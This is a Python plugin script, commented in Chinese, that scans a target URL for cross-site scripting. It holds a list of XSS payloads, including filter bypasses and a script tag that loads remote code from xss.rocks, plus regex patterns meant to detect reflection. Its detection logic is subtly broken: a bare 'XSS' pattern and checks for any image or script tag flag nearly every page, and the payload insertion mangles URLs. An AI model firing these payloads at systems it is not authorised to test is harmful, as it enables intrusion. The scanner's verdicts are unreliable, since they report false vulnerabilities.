#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
XSS（跨站脚本）漏洞扫描脚本
检测目标URL是否存在XSS漏洞
"""

import requests
import time
import re
from typing import Dict, Any, List
import logging

# 配置日志
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

# 脚本元数据
NAME = "XSS漏洞扫描器"
DESCRIPTION = "检测目标URL是否存在跨站脚本(XSS)漏洞，通过发送测试payload并分析响应"
AUTHOR = "Security Team"
VERSION = "1.0.0"
VULNERABILITY_TYPE = "xss"
SEVERITY = "medium"
ENABLED = True

# 必要参数
REQUIRED_PARAMS = ["target"]

# 可选参数及默认值
OPTIONAL_PARAMS = {
    "scan_depth": 2,
    "timeout": 10,
    "max_retries": 3
}

# XSS测试payloads
XSS_PAYLOADS = [
    # 基本测试
    "<script>alert('XSS')</script>",
    "<img src='x' onerror='alert(\'XSS\')'>",
    "javascript:alert('XSS')",
    "<svg/onload=alert('XSS')>",
    "<body onload=alert('XSS')>",
    "<iframe src='javascript:alert(\'XSS\')'></iframe>",
    # 绕过测试
    "<ScRiPt>alert('XSS')</ScRiPt>",
    "<script>alert(String.fromCharCode(88,83,83))</script>",
    "<script//src=//xss.rocks/xss.js></script>",
    "<img src=x onerror=alert(String.fromCharCode(88,83,83))>",
    # 存储型测试
    "<img src='x' onerror='console.log(\'Stored XSS\')'>",
    "<div onmouseover='alert(\'XSS\')'>悬停测试</div>"
]

# XSS成功模式（用于检测payload是否被成功执行）
XSS_SUCCESS_PATTERNS = [
    r'<script[^>]*>alert\(["\']XSS["\']\)</script>',
    r'<img[^>]*src=["\']x["\'][^>]*onerror=["\']alert\(["\']XSS["\']\)["\']',
    r'javascript:alert\(["\']XSS["\']\)',
    r'<svg[^>]*onload=["\']alert\(["\']XSS["\']\)["\']',
    r'<body[^>]*onload=["\']alert\(["\']XSS["\']\)["\']',
    r'<iframe[^>]*src=["\']javascript:alert\(["\']XSS["\']\)["\']',
    r'XSS'
]

def scan(target: str, **kwargs) -> Dict[str, Any]:
    """
    执行XSS漏洞扫描
    
    Args:
        target: 目标URL
        **kwargs: 可选参数
            scan_depth: 扫描深度 (1-5)
            timeout: 请求超时时间
            max_retries: 最大重试次数
    
    Returns:
        Dict: 扫描结果，包含漏洞信息
    """
    start_time = time.time()
    results = {
        "target": target,
        "vulnerability_type": VULNERABILITY_TYPE,
        "severity": SEVERITY,
        "scan_depth": kwargs.get("scan_depth", 2),
        "start_time": start_time,
        "end_time": None,
        "duration": None,
        "vulnerable": False,
        "vulnerabilities": [],
        "details": {
            "total_tests": 0,
            "passed_tests": 0,
            "failed_tests": 0,
            "test_details": []
        }
    }
    
    try:
        # 检查目标URL格式
        if not target.startswith(('http://', 'https://')):
            target = f"http://{target}"
        
        # 获取超时设置
        timeout = kwargs.get("timeout", 10)
        
        # 先获取正常响应，作为基准
        baseline_response = None
        try:
            baseline_response = requests.get(target, timeout=timeout)
            logger.info(f"获取基准响应: {baseline_response.status_code}")
        except Exception as e:
            logger.error(f"获取基准响应失败: {str(e)}")
            results["error"] = f"无法访问目标: {str(e)}"
            results["end_time"] = time.time()
            results["duration"] = results["end_time"] - start_time
            return results
        
        # 根据扫描深度决定测试范围
        scan_depth = kwargs.get("scan_depth", 2)
        test_payloads = []
        
        if scan_depth >= 1:
            # 深度1：基本测试
            test_payloads.extend(XSS_PAYLOADS[:6])
        if scan_depth >= 2:
            # 深度2：增加绕过测试
            test_payloads.extend(XSS_PAYLOADS[6:10])
        if scan_depth >= 3:
            # 深度3：增加存储型测试
            test_payloads.extend(XSS_PAYLOADS[10:])
        
        # 处理URL，提取可能的参数位置
        param_tests = []
        
        # 1. 测试URL路径参数
        path_parts = target.split('/')
        for i in range(3, len(path_parts)):  # 跳过 http:// 和 域名部分
            if path_parts[i]:  # 确保不是空部分
                test_url = '/'.join(path_parts[:i] + [path_parts[i]] + path_parts[i+1:])
                param_tests.append(("path", f"param_{i}", test_url))
        
        # 2. 测试常见的查询参数
        common_params = ["q", "search", "query", "keyword", "term", "name", "user", "comment"]
        for param in common_params:
            if '?' in target:
                test_url = f"{target}&{param}=test"
            else:
                test_url = f"{target}?{param}=test"
            param_tests.append(("query", param, test_url))
        
        # 执行测试
        results["details"]["total_tests"] = len(param_tests) * len(test_payloads)
        
        for param_type, param_name, base_url in param_tests:
            for payload in test_payloads:
                # 构建测试URL
                if param_type == "query":
                    # 替换query参数的值
                    if '=' in base_url:
                        parts = base_url.split('=')
                        # 对payload进行URL编码
                        encoded_payload = requests.utils.quote(payload)
                        test_url = f"{parts[0]}={encoded_payload}"
                    else:
                        test_url = f"{base_url}=test"
                else:  # path
                    # 替换path参数的值
                    path_parts = base_url.split('/')
                    for i in range(3, len(path_parts)):
                        if path_parts[i] == "test":
                            path_parts[i] = requests.utils.quote(payload)
                            break
                    test_url = '/'.join(path_parts)
                
                test_result = {
                    "url": test_url,
                    "payload": payload,
                    "vulnerable": False,
                    "evidence": []
                }
                
                try:
                    # 发送测试请求
                    response = requests.get(test_url, timeout=timeout)
                    test_result["status_code"] = response.status_code
                    
                    # 分析响应
                    # 1. 检查响应状态码与基准的差异
                    if baseline_response and response.status_code != baseline_response.status_code:
                        test_result["evidence"].append("状态码异常")
                    
                    # 2. 检查XSS payload是否出现在响应中
                    for pattern in XSS_SUCCESS_PATTERNS:
                        if re.search(pattern, response.text, re.IGNORECASE):
                            test_result["evidence"].append(f"发现XSS payload模式: {pattern[:30]}...")
                    
                    # 3. 检查原始payload是否未经编码出现在响应中
                    # 转义特殊字符用于正则表达式
                    escaped_payload = re.escape(payload)
                    if re.search(escaped_payload, response.text):
                        test_result["evidence"].append("原始payload未经编码出现在响应中")
                    
                    # 4. 检查HTML标签是否被正确转义
                    if "<script>" in response.text or "<img" in response.text or "javascript:" in response.text:
                        test_result["evidence"].append("HTML/JS标签未被正确过滤")
                    
                    # 判断是否存在漏洞
                    if test_result["evidence"]:
                        test_result["vulnerable"] = True
                        results["vulnerable"] = True
                        
                        # 添加到漏洞列表
                        results["vulnerabilities"].append({
                            "type": VULNERABILITY_TYPE,
                            "severity": SEVERITY,
                            "param_type": param_type,
                            "param_name": param_name,
                            "payload": payload,
                            "url": test_url,
                            "evidence": test_result["evidence"],
                            "remediation": "对所有用户输入进行HTML实体编码，设置适当的Content-Security-Policy"
                        })
                        
                        results["details"]["failed_tests"] += 1
                    else:
                        results["details"]["passed_tests"] += 1
                    
                except Exception as e:
                    logger.error(f"测试请求失败: {str(e)}")
                    test_result["error"] = str(e)
                    results["details"]["failed_tests"] += 1
                
                # 添加测试详情
                results["details"]["test_details"].append(test_result)
        
        # 生成总体评估
        if results["vulnerable"]:
            results["description"] = f"目标存在XSS漏洞，共发现{len(results['vulnerabilities'])}处潜在漏洞点"
            results["remediation"] = "建议立即修复所有XSS漏洞，对所有用户输入进行严格的验证和过滤"
        else:
            results["description"] = "未发现明显的XSS漏洞"
            results["remediation"] = "继续保持良好的安全实践，定期进行安全审计"
            
    except Exception as e:
        logger.error(f"扫描过程中发生错误: {str(e)}")
        results["error"] = str(e)
    finally:
        # 计算扫描时间
        end_time = time.time()
        results["end_time"] = end_time
        results["duration"] = end_time - start_time
    
    return results

# 测试代码
if __name__ == "__main__":
    # 测试一个示例目标
    test_target = "http://localhost:8000/search?q=test"
    result = scan(test_target, scan_depth=2)
    print(f"扫描结果: {result['vulnerable']}")
    if result['vulnerable']:
        for vuln in result['vulnerabilities']:
            print(f"发现漏洞: {vuln['payload']} - {vuln['evidence']}")